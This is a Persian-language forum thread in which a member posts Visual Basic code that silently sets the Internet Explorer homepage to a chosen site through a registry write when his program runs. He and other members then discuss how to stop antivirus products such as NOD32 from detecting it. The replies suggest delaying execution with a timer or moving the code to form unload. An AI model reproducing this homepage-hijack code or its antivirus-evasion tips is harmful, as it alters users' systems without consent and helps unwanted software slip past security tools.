در خواست ساخت برنامه هم پیج کردن یک سایت

[moslem_f]

سلام خدمت دوستان و برنامه نویسان گل یک سوال داشتم

من چند وقت پیش از یکی از دوستان در همین انجمن یک کد گرفتم که با گذاشتن کد در فرم لود برنامه که به زبان وی بی نوشتم وقتی برنامه اجرا شه اون سایتی که در کد معرفی شده هوم پیج سیستم بشه حالا از شما یک کمک می خوام وقتی این کد رو در برنامم استفاده می کنم و کامپایل می کنم هیچ انتی ویروسی گیر نمیده و فقط انتی ویروس ناد سی و دو میزنه خواهش می کنم به من بگید چه طوری کاری کنم که نود هم گیر نده اخه من که کد مخربی نذاشتم هیچ انتی ویروسی هم مشکل نداره تو ویروس توتال اسکن کردم فقط ناد گیر میده :گریه::ناراحت::افسرده:

خواهش می کنم یک نفر کمکم کنه این هم کد که اون دوست عزیز به من دادن .


Private Sub Form_Load()
Set objWshShell = CreateObject("WScript.Shell")
strHomePage = "http://www.sahelsoft.com"
objWshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", strHomePage
Set objWshShell = Nothing
End Sub

[parselearn]

به خاطر اينكه كد در لود فرم اجرا ميشه ويروس شناسايي ميشه
كد رو در تايمر قرار دهيد و بعد از چند لحظه اجرا كنيد

[moslem_f]

سلام و عرض خسته نباشید فراوان.
می بخشید من کد رو تایمر به این صورت قرار دادم یعنی یک فرم جدید درست کردم یک تایمر روش قرار دادم اینتروال تایمر رو 2 قرار دادم روی تایمر دو بار کلیک کردم و رفتم قسمت قرار دادن کد تایمر و این قسمت رو اونجان اضافه کردم


Set objWshShell = CreateObject("WScript.Shell")
strHomePage = "http://www.sahelsoft.com"
objWshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", strHomePage
Set objWshShell = Nothing


و حالا بعد از اجرای برنامه این پیغام رو میده

---------------------------
Microsoft Visual Basic
---------------------------
Compile error:
Variable not defined
---------------------------


OK Help
---------------------------


و وقتی میری تو قسمت کد ها ببینی چی ایراد داره این طوری هست کد ها


Private Sub Timer1_Timer()
Set objWshShell = CreateObject("WScript.Shell")
strHomePage = "http://www.sahelsoft.com"
objWshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", strHomePage
Set objWshShell = Nothing
End Sub


و خط اول که نشان دادم زرد شده و این کد objWshShell را خاکستری می کند خواهش می کنم کمی واظح و مبتدی بگین باید چی کار کنم اگر میشه سورس ندین خواهش می کنم خواهش می کنم اگر میشه توظیح مختصر و مفیدی بدین تا یاد بگیرم بلکم منم در آینده ای نزدیک از علمی که از شما عزیزان به من انتقال پیدا کرده بتونم به عزیزان و کابران همین انجمن انتقال بدم . ممنونم از لطف شما :بوس:

[moslem_f]

سلام دوستان من به جواب سوالم رسیدم چرا ارور میداد به این خاطر که این کد در قسمت کد ها در بخش جنرال قرار داشت Option Explicit و وقتی روی فرم تایمر میزاریم یا با شل کار می کنیم نباید این کد در بالا تر از همه کد ها یا همون قسمت جنرال باشه.

خوب حالا یه مشکلی دیگه دارم اونم اینه که هیچ انتی ویروسی به این کد گیر نمیده دو تا انتی ویروسی که اصلا اسمشو نشنیده بودم هیچ جا گیر دادن می گن این ویروسه ولی من که ویروس درست نکردم من یه کد تو برنامم گذاشتم که وقتی برنامم اجرا شد سایتم بشه هوم پیج اینترنت ایکسپلورر حالا این دو تا انتی گیر می دن چی کار کنم که گیر ندن خواهش می کنم کمک کنید

[_behnam_]

تو قسمت Form_Unload هم یه امتحانی کن شاید جواب بده

[Slytherin]

خیلی از آنتی ویروس ها به تکرار پیاپی یک چیز در تایمر حساس هستند.
پیشنهاد می کنم که اگر از ساخت این برنامه اهداف مخرب نداری،
پس از هوم پیج شدن سایت مورد نظر، تایمر را غیر فعال کنی.
در ضمن به نظر من اینترول تایمرت را به 1000 (1 ثانیه) تغییر بده.

[moslem_f]

دوست گلم ممنونم داداش خب اگر میشه بگین چه طوری می تونم بعد از هم پیج شدن برنامه رو غیر فعال کنم یعنی تایمر رو غیر فعال کنم داداش .

[Slytherin]

من الان مشکل برنامه رو با 43 تا آنتی ویروس تست کردم،
فقط 1 آنتی ویروس برنامه را ویروسی شناسایی می کنه که اون هم بلکل با هوم پیج کردن مشکل داره و ربطی به تایمر و اینا نداره...

[moslem_f]

نمی دونم والا ما هر کاری کردیم که نشد که نشد اره حرف شما درسته همین کارو هم من هم کردم به گفته شما ولی بازم اون انتی گیر میده الکی بهش ولی از اساتید خواهش می کنم کمک کنن اگر هم خودم و دوستان گل مشارکت کرده در این تاپیک جواب دادن زود تر بگن تا بقیه هم استفاده کنن امید وارم روزی بشه تو همین فروم جواب زحمات همه عزیزان رو با علمی که بهم منتقل کردن بدم . و امید وارم پست رو قفل نکنند یا دلیت.